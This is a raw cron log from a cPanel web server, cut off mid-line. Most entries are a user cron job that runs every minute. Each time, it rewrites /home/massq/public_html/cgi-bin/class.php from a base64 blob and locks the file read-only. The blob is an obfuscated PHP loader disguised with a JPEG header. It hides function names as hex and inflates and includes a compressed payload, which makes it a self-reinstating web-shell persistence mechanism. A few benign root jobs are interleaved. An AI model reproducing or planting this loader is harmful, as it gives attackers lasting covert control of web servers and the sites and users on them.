Nov 14 00:41:01 server CROND[11245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:42:01 server CROND[12105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:42:01 server CROND[12106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 00:43:01 server CROND[12886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:44:01 server CROND[13740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:45:01 server CROND[14706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:45:01 server CROND[14707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:45:01 server CROND[14708]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:46:01 server CROND[15623]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:47:01 server CROND[16478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:48:01 server CROND[17330]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:49:01 server CROND[18133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:50:01 server CROND[19149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:50:01 server CROND[19151]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 00:50:01 server CROND[19153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 00:50:01 server CROND[19154]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:50:01 server CROND[19155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:51:01 server CROND[20083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:52:01 server CROND[20929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:53:01 server CROND[21791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:54:01 server CROND[22645]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 